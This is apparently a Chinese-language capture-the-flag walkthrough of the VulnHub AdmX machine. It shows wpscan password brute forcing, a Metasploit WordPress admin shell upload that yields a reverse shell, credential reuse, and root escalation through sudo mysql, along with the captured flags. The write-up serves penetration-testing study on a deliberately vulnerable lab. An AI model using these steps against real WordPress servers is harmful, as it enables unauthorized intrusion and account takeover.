PENETRATION第一步

第一次去打靶机，本来都快成功了，电脑蓝屏警告了。。。(=_=)
靶机下载连接
(https://download.vulnhub.com/admx/AdmX_new.7z)

信息收集

nmap扫描
.
开启了80端口，打开看一下，是ubuntu

扫一下目录

dirb http://192.168.254.159 /usr/share/wordlists/dirb/big.txt

发现有wordpress。

直接上wpscan，扫描一下。

wpscan  --url http://192.168.0.210/wordpress --enumerate u 

发现了admin，利用wpscan对密码进行爆破，得到密码adam14

wpscan  --url http://192.168.0.210/wordpress -U admin -P /usr/share/wordlists/rockyou.txt

反弹shell

利用msfconsole，search wp_admin_shell_upload

show options看一看设置哪些部分
set username admin
set password adam14
set rhosts 192.168.0.210
set targeturi /wordpress
设置完后直接run起来，过一会反弹shell。

输入shell

meterpreter > shell
Process 1992 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory

看一下id

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

找第一个flag

cd  /home

看目录下文件

ls

有wpadmin

cd /home/wpadmin

ls

cat local.txt

但是权限不够

cat: local.txt: Permission denied

所以登录wpadmin，进行读取

su wpadmin
Password: adam14
id
uid=1001(wpadmin) gid=1001(wpadmin) groups=1001(wpadmin)

已经是wpadmin，现在进入目录下，读取local.txt

cd /home/wpadmin
ls
local.txt
cat local.txt

153495edec1b606c24947b1335998bd9

查找第二个，在root下面，但是

cd /root
bash: line 5: cd: /root: Permission denied

所以再次提权

cat wp-config.php

能看到数据库密码Wp_Admin#123

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'admin' );
define( 'DB_PASSWORD', 'Wp_Admin#123' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );

登录（在交互式界面下）

/bin/sh -i

$ sudo /usr/bin/mysql -u root -D wordpress -p

密码就是Wp_Admin#123
登陆后，查看id是否是root。

$ system id
uid=0(root) gid=0(root) groups=0(root)

进入root文件夹下，寻找文件

$ system cd /root
$ system ls -lha /root
total 36K
drwx------  5 root root 4.0K May  8 13:42 .
drwxr-xr-x 20 root root 4.0K May  8 11:55 ..
lrwxrwxrwx  1 root root    9 May  8 13:40 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
drwx------  2 root root 4.0K May  8 13:42 .cache
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-r--------  1 root root   33 May  8 13:40 proof.txt
drwxr-xr-x  3 root root 4.0K May  8 12:11 snap
drwx------  2 root root 4.0K May  8 12:11 .ssh
-rw-r--r--  1 root root  227 May  8 13:40 .wget-hsts

打开proof.txt，第二个flag

$ system cat /root/proof.txt
7efd721c8bfff2937c66235f2d0dbac1